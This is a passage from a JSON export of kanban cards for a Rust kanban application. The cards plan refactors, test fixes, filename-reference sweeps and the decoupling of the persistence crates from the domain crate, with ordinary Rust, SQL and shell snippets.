over time.\n\nThe `prepare_frame()` method (`app/mod.rs:1541`) and the\n`select_card_by_id` method (`app/mod.rs:1454`) both live in\n`impl App` in the `kanban-tui` crate. Service and domain layers are\nuntouched. The selection-logic-stays-in-TUI principle is preserved.\n\n## Existing call sites\n\n`select_card_by_id` is called from 8 handler sites in\n`crates/kanban-tui/src/handlers/`:\n\n- `card_handlers.rs:252` (`toggle_card_completion`)\n- `card_handlers.rs:297` (`toggle_selected_cards_completion`)\n- `card_handlers.rs:391` (`create_card` — KAN-403's fix is the\n  `prepare_frame` above this line)\n- `card_handlers.rs:480` (`handle_move_card`)\n- `card_handlers.rs:536` (`move_selected_cards`)\n- `card_handlers.rs:603`/`612` (next/prev navigation — card is\n  already in the list)\n- `column_handlers.rs:537`\n\nFor the navigation cases (next/prev, line 603/612), the card is\nalready in the active task list — calling `prepare_frame` is wasted\nwork but doesn't change behaviour. For everything else, the refresh\neither is the bug fix (create/move) or is a no-op (toggle).\n\n## Performance consideration\n\nEvery `select_card_by_id` call now triggers a snapshot load + a\ntask-list rebuild. For the in-memory backend this is microseconds.\nFor SQLite it's a single indexed query. Negligible at user-driven\ncadence. If a future hot path emerges that calls `select_card_by_id`\nin a tight loop, that loop should batch via direct task-list access\nanyway, not through this entry point.\n\n## Acceptance\n\n- The redundant `prepare_frame` call removed from `create_card` —\n  `test_create_card_selects_newly_created_card_when_prior_selection_exists`\n  still passes.\n- If the companion card's tests exist:\n  `test_move_card_right_selects_moved_card_in_kanban_view` and the\n  multi-select variant still pass with the per-handler fixes removed.\n- No new tests required — both bug-fix cards already pin down the\n  behaviour. A negative test (e.g.\n  `test_toggle_completion_does_not_drop_selection`) is optional belt-\n  and-braces.\n- `cargo test --workspace`, `cargo clippy --workspace --all-targets -- -D warnings`,\n  `cargo fmt --check` all clean.\n\n## Files modified\n\n| File | Change |\n|---|---|\n| `crates/kanban-tui/src/app/mod.rs` | `select_card_by_id` calls `self.prepare_frame()` first. |\n| `crates/kanban-tui/src/handlers/card_handlers.rs` | Remove the redundant `self.prepare_frame()` call from `create_card` (and from any other handler that accumulated the same workaround pre-merge). |\n\n## Risk\n\nLow.\n\n- The change is purely additive at the entry point and removes\n  duplication at the call sites — no behaviour change for working\n  flows.\n- Calls `prepare_frame` once on every selection update across all 8\n  call sites. For toggle / navigation that's wasted work, but cheap.\n- If a future bug surfaces where `select_card_by_id` is called from a\n  context where `prepare_frame` would be wrong (e.g. mid-frame, with\n  a partially-applied state), revisit with a `select_card_by_id_raw`\n  escape hatch.\n\n## Relationship to other cards\n\n- **KAN-403** (merged in #260): introduced the first per-handler\n  workaround in `create_card`. The redundant call goes away when this\n  card lands.\n- **Companion bug card** (filed alongside): adds per-handler\n  workarounds at `handle_move_card` and `move_selected_cards`. Either\n  card landing alone is fine; if both land, the order is:\n  1. Companion lands first → this card removes its workaround too.\n  2. This card lands first → companion is auto-resolved, close as dup.\n\n## Commit shape\n\n1. `refactor(tui): select_card_by_id refreshes task list before\n   selecting` — change `select_card_by_id` body, remove the redundant\n   `prepare_frame` call(s) from handlers.\n2. `chore: add changeset for KAN-NNN` — user-facing description noting\n   that the underlying flakiness is gone (most users won't notice\n   anything since KAN-403 + the companion bug card already covered\n   the visible cases).\n\n## Out of scope\n\n- A \"deferred selection intent\" mechanism (storing\n  `pending_card_selection: Option<Uuid>` on the app and applying it\n  during the next `update_cards`) is an alternative that avoids the\n  extra `prepare_frame` call but adds plumbing across two layers. Not\n  worth the complexity unless `prepare_frame` cost becomes measurable.",
        "due_date": null,
        "id": "a7ac3b3f-055e-49b8-b918-b8a4fc3740e4",
        "points": 2,
        "position": 200,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "refactor(tui): centralize task-list refresh in select_card_by_id",
        "updated_at": "2026-05-11T23:58:32.540105738Z"
      },
      {
        "card_number": 415,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-09T21:55:19.960929058Z",
        "description": "Surfaced by Amanda Frost while working on PR #247.\n\nTwo tests in crates/kanban-service/src/config.rs fail on Windows because their assertions hardcode forward-slash path separators while Windows produces backslashes:\n\n```\n---- config::tests::test_dto_from_config_with_data_file_shows_storage_fields stdout ----\nthread 'config::tests::test_dto_from_config_with_data_file_shows_storage_fields' panicked at crates\\kanban-service\\src\\config.rs:687:9:\ngot: Some(\"...coding\\\\kanban\\\\crates\\\\kanban-service\\\\kanban.json\")\n\n---- config::tests::test_dto_from_explicit_config_preserves_values stdout ----\nthread 'config::tests::test_dto_from_explicit_config_preserves_values' panicked at crates\\kanban-service\\src\\config.rs:712:9:\ngot: Some(\"...\\\\coding\\\\kanban\\\\crates\\\\kanban-service\\\\kanban.sqlite\")\n```\n\nScope:\n- Locate the path-equality assertions at config.rs:687 and config.rs:712.\n- Either normalise paths through std::path::PathBuf comparison, or compare against an OS-aware expected value built with PathBuf::from / Path::join, rather than a literal string with forward slashes.\n- Verify the tests pass on both Linux and Windows.\n- Sweep the rest of crates/kanban-service for similar string-based path assertions that may have the same problem.",
        "due_date": null,
        "id": "2acfb8b3-e106-493b-a7d4-15d7774f4c43",
        "points": null,
        "position": 201,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477274084Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix Windows path-separator assumptions in kanban-service::config tests",
        "updated_at": "2026-05-10T17:33:14.477274574Z"
      },
      {
        "card_number": 439,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-12T17:16:12.501854312Z",
        "description": "## Why this exists\n\nCLAUDE.md (Testing section) prefers `-> KanbanResult<()>` over `#[should_panic]` and notes it composes with `?` for better failure messages. However, a sweep of `crates/kanban-domain` shows **zero** tests use this pattern today — all ~20 tests in `sprint_commands.rs` (and similar counts in `board_commands.rs`, `card_commands.rs`, `column_commands.rs`, `dependency_commands.rs`) use `fn test_*()` with `.unwrap()` chains.\n\nRaised during review of PR #262 (KAN-431). Deferred so the next developer makes the judgment call on full evidence.\n\n## Proposed implementation\n\nConvert tests to the form:\n\n```rust\n#[test]\nfn test_x() -> KanbanResult<()> {\n    let tc = TestContext::new();\n    // ...\n    let context = tc.as_command_context();\n    cmd.execute(&context)?;\n    // assertions\n    Ok(())\n}\n```\n\nReplace `.unwrap()` on `KanbanResult`-returning calls with `?`. Tests asserting on errors keep `.unwrap_err()` (no change there).\n\n## Migration path\n\n1. Pick one commands file (`sprint_commands.rs` is a reasonable pilot — well-covered, recently touched).\n2. Convert all its tests in one commit: `test(domain): adopt KanbanResult<()> in sprint_commands tests`.\n3. Review: does the diff actually read better, or does the noise of `?` everywhere hurt? Are there tests where `.unwrap()` was genuinely clearer?\n4. If positive: open follow-ups to convert the other commands files (one commit each).\n5. If negative: amend CLAUDE.md to reflect actual project preference for `.unwrap()` in unit tests.\n\n## Decision points\n\n- Worth doing at all? CLAUDE.md is aspirational; the codebase has settled on `.unwrap()`. Either is internally consistent.\n- If yes: pilot one file first, evaluate before fanning out.\n- Consider whether integration tests in `crates/kanban-service/tests/`, `crates/kanban-tui/tests/`, etc. should also migrate or stay as-is.",
        "due_date": null,
        "id": "db92ec5e-0288-4c84-8988-59f32aec5c3a",
        "points": null,
        "position": 201,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Decide on KanbanResult<()> test return-type pattern",
        "updated_at": "2026-05-12T17:16:12.502481567Z"
      },
      {
        "card_number": 440,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-12T17:16:25.700207258Z",
        "description": "## Why this exists\n\nRaised during review of PR #262 (KAN-431). The PR extracted three helpers out of `UpdateSprint::execute` in `crates/kanban-domain/src/commands/sprint_commands.rs`:\n\n- `validate_card_prefix_not_locked` (sprint_commands.rs:76-92) — reads `list_cards_by_sprint` and `list_archived_cards` via `context.store`.\n- `validate_card_prefix_unique` (sprint_commands.rs:94-133) — reads `list_sprints_by_board` via `context.store`.\n- `allocate_sprint_name` (sprint_commands.rs:135-147) — reads sprint + board, mutates board, **writes** via `context.store.upsert_board`.\n\nAll three are technically domain-legal: `CommandContext.store: &'a dyn DataStore` is a domain-owned port (`kanban-domain::data_store`), not an infrastructure type. But semantically they are orchestration (fetch → check or mutate → persist), exactly what the PR description says is being lifted out of the domain layer.\n\n## Proposed direction\n\nThe naming concern surfaced in review (e.g. \"`allocate_sprint_name` hides an `upsert_board` side effect\") is a symptom of misplaced layering, not a naming problem. Solving it with a rename would paint over the issue.\n\nTwo paths to evaluate:\n\n### 1. Fold into KAN-427 / KAN-428 / KAN-429 / KAN-430\n\nThese remaining four cards in the same initiative are explicitly about moving orchestration to `kanban-service`. The three helpers in question are natural candidates to move when that work lands. No standalone work needed; just make sure the scoping of the remaining cards explicitly covers them.\n\n### 2. Standalone follow-up\n\nIf the remaining cards focus on other command surfaces (not `UpdateSprint`), open a small PR that:\n\n- Moves `validate_card_prefix_not_locked`, `validate_card_prefix_unique`, and the persistence half of `allocate_sprint_name` into `kanban-service`.\n- Keeps the pure mutation (`Board::add_sprint_name_at_used_index`, already on `Board`) in domain.\n- Reduces `UpdateSprint::execute` to a pure model-update; the service composes validation + execution + persistence.\n\n## Decision points\n\n- Read the scope of KAN-427, KAN-428, KAN-429, KAN-430 first. If `UpdateSprint` is in any of their scopes, fold this in there.\n- If not, decide whether a small standalone PR is worth it now or whether to leave the helpers in domain until a more comprehensive layering pass.\n- Either way, the rename suggestion from PR #262's review is dropped — relocating supersedes it.",
        "due_date": null,
        "id": "d7b439e1-c856-46a4-8b76-0bec9cb276d4",
        "points": null,
        "position": 202,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Review domain-vs-service layering of UpdateSprint helpers",
        "updated_at": "2026-05-12T17:16:25.700366249Z"
      },
      {
        "card_number": 416,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-10T13:49:14.258715249Z",
        "description": "After the boards.{json,sqlite} default-filename rename (PR #249, branch\nKAN-332/require-explicit-file-path-no-implicit-kanban-json-default), three\ngroups of stale references were intentionally left in place. This card covers\nsweeping them so the repo is fully consistent.\n\n## Scope\n\n### D. Test-internal temp filenames (mostly safe to rename, but pure churn)\n\nMost of these are arbitrary `TempDir::new().path().join(\"…\")` paths — the\nfilename has no semantic meaning, only the test's setup needs an identifier.\nThey don't break anything today; renaming is a hygiene/consistency pass.\n\nFiles (rename `kanban.json` → `boards.json`, `kanban.sqlite` → `boards.sqlite`,\n`myboard.*` → `boards.*` unless the test specifically exercises a non-default\ncustom name):\n\n- `crates/kanban-cli/tests/migrate.rs:250-251, 289-290`\n  (`myboard.json` / `myboard.db` / `myboard.sqlite` — used as source/dest\n   paths in migrate integration tests)\n- `crates/kanban-cli/tests/cli_integration.rs:2333-2334`\n  (asserts no `kanban.json` is auto-created — keep the assertion semantics\n   but pick a name that matches today's docs; consider `boards.json`)\n- `crates/kanban-cli/tests/cli_app_run_no_backends.rs:21`\n  (constructs a json_path inside a TempDir)\n- `crates/kanban-tui/tests/backend_selection_tests.rs:77-78`\n  (cwd-guarded \\\"no `kanban.json` in cwd\\\" assertion — see KAN-332)\n- `crates/kanban-tui/tests/import_failure_safety.rs:9, 65, 82`\n  (three TempDir + join paths)\n- `crates/kanban-tui/tests/conflict_detection_tests.rs:12, 69, 80, 115, 174,\n   218` (five file_path locals + one substring assertion at :69 that\n   checks the path contains \\\"kanban.json\\\")\n- `crates/kanban-tui/tests/settings_config_edit_tests.rs:173, 200, 256`\n  (comments referencing the old default — update to mention `boards.json`)\n- `crates/kanban-tui/src/app/mod.rs:2410`\n  (manually-constructed `App` for the `test_save_worker_does_not_send_completion_on_conflict`\n   test — `config_storage_location: \\\"kanban.json\\\".into()` placeholder)\n\nPlan:\n1. `sed -i 's|\\\"kanban\\\\.json\\\"|\\\"boards.json\\\"|g; s|\\\"kanban\\\\.sqlite\\\"|\\\"boards.sqlite\\\"|g; s|\\\"myboard\\\\.json\\\"|\\\"boards.json\\\"|g; s|\\\"myboard\\\\.sqlite\\\"|\\\"boards.sqlite\\\"|g; s|\\\"myboard\\\\.db\\\"|\\\"boards.db\\\"|g'` over the test files listed above.\n2. Update the substring assertion in `conflict_detection_tests.rs:69` to match\n   the new filename.\n3. Update the prose comments in `settings_config_edit_tests.rs:173, 200, 256`.\n4. Run `cargo test --workspace` to confirm nothing relied on the old name.\n5. One commit: `chore: rename test temp filenames to boards.{json,sqlite}`.\n\n### E. Historical changeset wording (intentionally NOT renaming)\n\nTwo changesets describe behaviour from before the boards.{json,sqlite} rename,\nand renaming inside them would distort the historical record:\n\n- `.changeset/kan-332-require-explicit-file-path-no-implicit-kanban-json-default.md`\n  — describes removing the implicit `./kanban.json` fallback. The literal\n   file name is the *historical* default the user is being warned about.\n- `.changeset/kan-405-json-backend-should-not-persist-command-log-between-sessions.md:7`\n  — \\\"the command log is never written to `kanban.json` or SQLite\\\". This\n   sentence describes legacy persistence behaviour at a point in time when\n   the default was still `kanban.json`.\n\nResolution: leave both alone. Add a single line at the top of each\nreferencing this card so future readers know the wording is deliberate.\nOr, alternatively, rephrase to not mention the literal filename at all\n(\\\"the implicit default JSON file\\\" / \\\"the JSON file or SQLite\\\").\n\nPlan:\n1. Decide between (a) leave + add cross-reference, or (b) genericise the\n   wording. Default: (b), genericise — the changeset's job is to describe\n   the *change* in behaviour, not to pin a filename in time.\n2. One commit: `chore: genericise changeset wording for filename rename`.\n\n## Acceptance criteria\n\n- `grep -rn 'kanban\\\\.json\\\\|kanban\\\\.sqlite\\\\|myboard\\\\.' --include='*.rs' --include='*.md'` returns 0 hits across the repo (excluding the deliberate historical changeset references if (a) is chosen).\n- `cargo test --workspace`, `cargo clippy --workspace --all-targets`, `cargo fmt --all -- --check` all pass.\n- A single PR per group (D and E in separate PRs, or one combined) targeting `develop`.\n\n## Why this was deferred\n\nPR #249's primary scope was KAN-332 (gate subcommands behind explicit file)\nand KAN-330 (startup dialog). The default-filename rename to boards.{json,sqlite}\nlanded in #249 because it directly touched user-visible defaults. The\ntest-internal renames and historical changeset wording are pure churn /\nhistorical accuracy questions and would have widened the diff without\nadding value to that PR's review.",
        "due_date": null,
        "id": "f3c15d7d-45ea-4968-8862-fa49e01a8be2",
        "points": null,
        "position": 203,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477281601Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Sweep stale 'kanban.json' / 'myboard.*' references in tests and historical docs",
        "updated_at": "2026-05-10T17:33:14.477281823Z"
      },
      {
        "card_number": 441,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-13T11:57:03.127990734Z",
        "description": "## Context\n\nThe `kanban-persistence` crate exports a `PersistenceStore` trait that appears generic — it accepts and returns a `StoreSnapshot { data: Vec<u8> }` opaque blob. This makes the trait look like a reusable storage abstraction for any application. In practice the crate is **not** domain-agnostic:\n\n- `kanban-persistence/Cargo.toml` depends on `kanban-domain`\n- `kanban-persistence/src/snapshot_serde.rs` is hardcoded to `kanban_domain::Snapshot`\n- `kanban-persistence-sqlite/src/sqlite_store.rs` immediately deserialises `StoreSnapshot.data` as `kanban_domain::Snapshot` inside `save()`, applies it to relational tables, and reverses the process in `load()`\n\nThe `kanban-persistence-json` crate is **already** domain-agnostic: `JsonFileStore` treats the incoming bytes as a `serde_json::Value` and never touches domain types.\n\nThe accounting project (`~/fulsomenko/accounting`) depends on `kanban-persistence` (traits), `kanban-persistence-json` (JSON backend), and `kanban-persistence-sqlite` (SQLite backend). Its JSON path works correctly. Its SQLite path silently fails at runtime: `SqliteStore::save()` receives accounting bytes and crashes deserialising them as kanban boards/cards/sprints.\n\n---\n\n## Current State (code)\n\n### kanban-persistence/src/snapshot_serde.rs\n```rust\nuse kanban_domain::Snapshot; // ← domain coupling\n\npub fn snapshot_to_json_bytes(snapshot: &Snapshot) -> PersistenceResult<Vec<u8>> { ... }\npub fn snapshot_from_json_bytes(bytes: &[u8]) -> PersistenceResult<Snapshot> { ... }\n```\n\n### kanban-persistence-sqlite — save/load boundary\n```rust\nimpl PersistenceStore for SqliteStore {\n    async fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n        // Deserialises opaque bytes as kanban domain type — breaks any non-kanban caller\n        let domain_snapshot: Snapshot = serde_json::from_slice(&snapshot.data)?;\n        self.apply_snapshot_async(domain_snapshot).await?;\n        ...\n    }\n\n    async fn load(&self) -> PersistenceResult<(StoreSnapshot, PersistenceMetadata)> {\n        // Re-serialises relational rows back into a kanban Snapshot blob\n        let domain_snapshot = self.snapshot_async().await?;\n        let data = serde_json::to_vec(&domain_snapshot)?;\n        ...\n    }\n}\n```\n\n### kanban-persistence-json — already generic\n```rust\nimpl PersistenceStore for JsonFileStore {\n    async fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n        // Treats bytes as serde_json::Value — fully opaque, no domain types\n        let value: serde_json::Value = serde_json::from_slice(&snapshot.data)?;\n        let envelope = JsonEnvelope { version: ..., metadata: ..., data: value };\n        ...\n    }\n}\n```\n\n---\n\n## Goal\n\nMake `kanban-persistence` (and ideally `kanban-persistence-sqlite`) usable by any Rust application without pulling in `kanban-domain`. The `PersistenceStore` trait contract should match its signature: opaque blob in, opaque blob out.\n\n---\n\n## Option A — Add a `BlobSqliteStore` alongside the existing `SqliteStore` (non-breaking, fast)\n\nIntroduce a second `SqliteStore`-like type in `kanban-persistence-sqlite` (or a new `kanban-persistence-blob-sqlite` crate) that stores the raw bytes in a minimal schema:\n\n```sql\nCREATE TABLE IF NOT EXISTS snapshot (\n    id          INTEGER PRIMARY KEY CHECK (id = 1),\n    data        BLOB    NOT NULL,\n    instance_id TEXT    NOT NULL,\n    saved_at    TEXT    NOT NULL\n);\n```\n\n```rust\npub struct BlobSqliteStore {\n    pool: sqlx::SqlitePool,\n    instance_id: Uuid,\n    path: PathBuf,\n}\n\nimpl BlobSqliteStore {\n    pub async fn open(path: impl AsRef<Path>) -> PersistenceResult<Self> {\n        let pool = SqlitePool::connect(&format!(\"sqlite:{}\", path.as_ref().display())).await?;\n        sqlx::query(\"CREATE TABLE IF NOT EXISTS snapshot (\n            id INTEGER PRIMARY KEY CHECK (id = 1),\n            data BLOB NOT NULL,\n            instance_id TEXT NOT NULL,\n            saved_at TEXT NOT NULL\n        )\").execute(&pool).await?;\n        Ok(Self { pool, instance_id: Uuid::new_v4(), path: path.as_ref().to_path_buf() })\n    }\n}\n\n#[async_trait]\nimpl PersistenceStore for BlobSqliteStore {\n    async fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n        let meta = PersistenceMetadata::new(self.instance_id);\n        sqlx::query(\"INSERT OR REPLACE INTO snapshot (id, data, instance_id, saved_at)\n                     VALUES (1, ?, ?, ?)\")\n            .bind(&snapshot.data)\n            .bind(self.instance_id.to_string())\n            .bind(meta.saved_at.to_rfc3339())\n            .execute(&self.pool).await?;\n        Ok(meta)\n    }\n\n    async fn load(&self) -> PersistenceResult<(StoreSnapshot, PersistenceMetadata)> {\n        let row = sqlx::query(\"SELECT data, instance_id, saved_at FROM snapshot WHERE id = 1\")\n            .fetch_one(&self.pool).await?;\n        let data: Vec<u8> = row.get(\"data\");\n        let meta = PersistenceMetadata { instance_id: ..., saved_at: ... };\n        Ok((StoreSnapshot { data, metadata: meta.clone() }, meta))\n    }\n\n    async fn exists(&self) -> bool { self.path.exists() }\n    fn path(&self) -> &Path { &self.path }\n    fn instance_id(&self) -> Uuid { self.instance_id }\n}\n```\n\n**Pros:**\n- Zero breaking changes — existing `SqliteStore` and all kanban callers untouched\n- External projects (accounting, others) get a working SQLite backend immediately\n- Small, self-contained, easy to review\n\n**Cons:**\n- Two SQLite implementations to maintain in the same crate\n- Doesn't fix the conceptual problem: `kanban-persistence` still depends on `kanban-domain` via `snapshot_serde.rs`\n- `kanban-persistence-sqlite` Cargo.toml still pulls in `kanban-domain` transitively even for users who only want `BlobSqliteStore`\n\n---\n\n## Option B — True decoupling: make `kanban-persistence` a domain-agnostic crate (breaking, clean)\n\n### Step 1 — Move `snapshot_serde.rs` out of `kanban-persistence`\n\nThe two helpers (`snapshot_to_json_bytes`, `snapshot_from_json_bytes`) are the only reason `kanban-persistence` depends on `kanban-domain`. Move them to `kanban-service` (which already imports both crates) or into a thin bridge module in `kanban-persistence-json`.\n\n```toml\n# kanban-persistence/Cargo.toml — BEFORE\nkanban-domain = { path = \"../kanban-domain\", version = \"^0.4\" }\n\n# kanban-persistence/Cargo.toml — AFTER\n# (removed entirely)\n```\n\n### Step 2 — Refactor `SqliteStore::save/load` to treat bytes as opaque\n\nReplace the domain-deserialise-then-apply-relational-rows approach with the `BlobSqliteStore` single-table approach (see Option A). The rich relational schema (boards, cards, columns, sprints with FK relationships and indexes) moves to the **service layer** as a `KanbanSqliteDataStore` that owns schema knowledge.\n\n```rust\n// kanban-service/src/sqlite_backend.rs (new or extended)\n// Knows about kanban domain types — fine, service already depends on domain\npub struct KanbanSqliteDataStore { ... }\n\nimpl KanbanSqliteDataStore {\n    pub async fn open(path: &Path) -> KanbanResult<Self> { ... }\n    pub async fn save_snapshot(&self, snapshot: &Snapshot) -> KanbanResult<()> {\n        // Apply to relational schema here, where domain coupling is appropriate\n        self.apply_boards(&snapshot.boards).await?;\n        ...\n    }\n    pub async fn load_snapshot(&self) -> KanbanResult<Snapshot> { ... }\n}\n```\n\n```rust\n// kanban-persistence-sqlite now only knows about blobs\nimpl PersistenceStore for SqliteStore {\n    async fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n        // No domain types — just store the bytes\n        sqlx::query(\"INSERT OR REPLACE INTO snapshot (id, data, ...) VALUES (1, ?, ...)\")\n            .bind(&snapshot.data)\n            .execute(&self.pool).await?;\n        Ok(PersistenceMetadata::new(self.instance_id))\n    }\n}\n```\n\n**Pros:**\n- `kanban-persistence` becomes a genuinely reusable library — no kanban coupling\n- Contract of `PersistenceStore` matches its signature (opaque bytes in/out)\n- Allows crates.io publication as a general-purpose persistence abstraction\n- Removes the transitive `kanban-domain` dep for all downstream users\n\n**Cons:**\n- **Breaking change** for any caller relying on `SqliteStore` storing relational rows (migration required for existing `.db` files — data format changes from relational tables to a single blob)\n- Loses the ability to query the SQLite file directly with SQL for debugging/reporting (everything is a single opaque blob)\n- Service layer gets more complex: it must own both the blob persistence AND the relational schema knowledge\n- May regress performance for large datasets (blob approach loads/saves everything on every write vs. targeted row updates)\n\n---\n\n## Recommendation\n\nStart with **Option A** to unblock accounting (and any future external consumer) without risking kanban stability. Track Option B as a follow-up once there is confidence in the blob approach and a migration story for existing `.db` files.\n\nThe key signal for when Option B is worth it: if a third project wants to use `kanban-persistence-sqlite` and the dual-implementation situation becomes a maintenance burden.\n\n---\n\n## Affected files\n\n- `crates/kanban-persistence/Cargo.toml` — remove `kanban-domain` dep (Option B only)\n- `crates/kanban-persistence/src/snapshot_serde.rs` — move to `kanban-service` (Option B only)\n- `crates/kanban-persistence/src/lib.rs` — remove `snapshot_serde` re-export (Option B only)\n- `crates/kanban-persistence-sqlite/src/sqlite_store.rs` — add `BlobSqliteStore` or refactor `SqliteStore`\n- `crates/kanban-persistence-sqlite/src/schema.sql` — add blob snapshot table (Option A) or replace schema (Option B)\n- `crates/kanban-service/src/sqlite_backend.rs` — absorb domain-aware schema logic (Option B only)\n- `crates/kanban-service/src/json_backend.rs` — absorb `snapshot_serde` helpers (Option B only)",
        "due_date": null,
        "id": "724a29c6-f192-4c3f-8c92-edea49a7149a",
        "points": 8,
        "position": 203,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Decouple kanban-persistence from kanban-domain",
        "updated_at": "2026-05-13T11:57:03.129412693Z"
      },
      {
        "card_number": 417,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-10T14:38:45.194211336Z",
        "description": "## Principle\n\nStorage backends must never be chosen by filename extension. Extensions are\na user-facing convenience for at-a-glance identification, not a dispatch\nmechanism. The authoritative source of truth is:\n\n1. **Existing files**: magic-byte / content sniffing (each backend's\n   `StoreFactory::matches_content`).\n2. **New files**: the user's explicit choice — CLI `--backend` flag, the\n   choose-storage dialog radio, or config's `storage_backend`.\n3. **Filename extension**: cosmetic only. A user picking SQLite in the\n   dialog and typing `boards.json` should still get a SQLite backend; the\n   extension is just a label.\n\nEach storage backend crate (`kanban-persistence-json`,\n`kanban-persistence-sqlite`) should expose a public `EXTENSIONS: &[&str]`\nconstant (or `StoreFactory::extensions() -> &'static [&'static str]`\ntrait method) so consumers stop hardcoding `.json` / `.sqlite` /\n`.sqlite3` / `.db` strings throughout the codebase.\n\n## Inventory of hardcoded extension knowledge today\n\n### Production dispatch / state\n\n- **`crates/kanban-service/src/store_manager.rs:47-57`** — `is_sqlite()`\n  falls through to `locator.ends_with(\".sqlite\")` / `.sqlite3` / `.db`.\n  This is the **primary violation**: `make_backend` calls it before\n  doing content detection, so a non-existent file with a `.sqlite`\n  extension gets a SQLite backend regardless of explicit selection.\n  Authoritative SQLite-extension list lives here today.\n\n- **`crates/kanban-tui/src/app/mod.rs:120-129`** —\n  `StorageBackendChoice::extension()` returns `.json` / `.sqlite`. Used\n  by the dialog Tab toggle to swap the filename's extension. After this\n  refactor: the radio still toggles the displayed filename for UX, but\n  the backend choice is read from `app.choose_storage_backend`, not\n  inferred from the path.\n\n- **`crates/kanban-tui/src/app/mod.rs:138-149`** —\n  `swap_known_extension`'s `KNOWN: &[&str] = &[\".json\", \".sqlite\",\n  \".sqlite3\", \".db\"]`. Duplicates the list from `store_manager`. Should\n  source from each backend crate's `EXTENSIONS` constant.\n\n- **`crates/kanban-tui/src/handlers/board_handlers.rs:146-162`** —\n  `scan_import_files()` filters the import dialog by `.json` only.\n  Probably intentional because JSON is the export format, but\n  `ExportFormat::Sqlite` exists too — SQLite exports can't be re-imported\n  through this dialog. Either widen to all backends' `EXTENSIONS` or\n  document the JSON-only constraint.\n\n### Backend factories (already correct — content-based)\n\n- `crates/kanban-persistence-json/src/lib.rs:19-28` —\n  `JsonStoreFactory::matches_content` checks for `{` / `[` after BOM and\n  whitespace. **Content-based, no extension involved.** Model to follow.\n- `crates/kanban-persistence-sqlite/src/lib.rs:15-17` —\n  `SqliteStoreFactory::matches_content` checks for the\n  `b\\\"SQLite format 3\\\\0\\\"` magic bytes. **Same.**\n\n### Test guardrails (lower priority — keep but consolidate)\n\n`.ends_with(\\\".json\\\")` assertions in:\n- `crates/kanban-cli/tests/cli_app_builder.rs:34, 46, 63`\n- `crates/kanban-mcp/tests/mcp_server_builder.rs:35, 47`\n- `crates/kanban-service/tests/store_manager_injection.rs:89-90`\n- `crates/kanban-service/tests/make_store.rs:16, 70`\n\nThese all assert the **system default backend** is JSON. They're correct\nguardrails — if the default flips they fail loudly. After exposing\n`EXTENSIONS`, they should iterate the constant rather than inline\n`\\\".json\\\"`.\n\n## Proposed architecture\n\n### 1. Per-crate `EXTENSIONS` exports\n\n```rust\n// crates/kanban-persistence-json/src/lib.rs\npub const EXTENSIONS: &[&str] = &[\\\".json\\\"];\n\n// crates/kanban-persistence-sqlite/src/lib.rs\npub const EXTENSIONS: &[&str] = &[\\\".sqlite\\\", \\\".sqlite3\\\", \\\".db\\\"];\n```\n\nOptionally extend the `StoreFactory` trait so consumers can iterate\nwithout depending on each crate by name:\n\n```rust\n// crates/kanban-persistence/src/registry.rs\npub trait StoreFactory: Send + Sync {\n    // ... existing methods ...\n\n    /// File extensions (with leading dot) commonly used for this\n    /// backend. Cosmetic — extensions never drive backend dispatch.\n    fn extensions(&self) -> &'static [&'static str] { &[] }\n}\n```\n\n### 2. `make_backend` signature change\n\nFrom:\n```rust\npub async fn make_backend(&self, locator: &str, config: &AppConfig)\n    -> Result<Arc<dyn KanbanBackend>, KanbanError>\n```\n\nTo something like:\n```rust\npub async fn make_backend(\n    &self,\n    locator: &str,\n    explicit_backend: Option<&str>,  // CLI flag, dialog radio, config\n    config: &AppConfig,\n) -> Result<Arc<dyn KanbanBackend>, KanbanError>\n```\n\nResolution order:\n1. **File exists**: try each factory's `matches_content` on the first N\n   bytes; first match wins. Conflict between content and explicit\n   backend → log and trust content.\n2. **File does not exist**: use `explicit_backend` (or fall back to\n   `config.effective_storage_backend()`).\n3. **Filename extension**: ignored.\n\n### 3. Drop / rewrite `is_sqlite(locator)`\n\nThe current implementation is the single biggest violation of the\nprinciple. Either remove it entirely or keep only the content-detection\npath (the `Some(\\\"sqlite\\\") => true` branch via `detect_backend`).\n\n### 4. Dialog state plumbed through to `make_backend`\n\n`adopt_storage_file` already knows `app.choose_storage_backend`. Pass\nthat to `make_backend` as `explicit_backend`. Tab in the dialog\ncontinues to swap the visible filename extension for UX, but the\nbackend itself is determined by the radio.\n\n### 5. Import dialog widens (optional)\n\n`scan_import_files` should iterate\n`json_factory.extensions()` ∪ `sqlite_factory.extensions()`\n(or 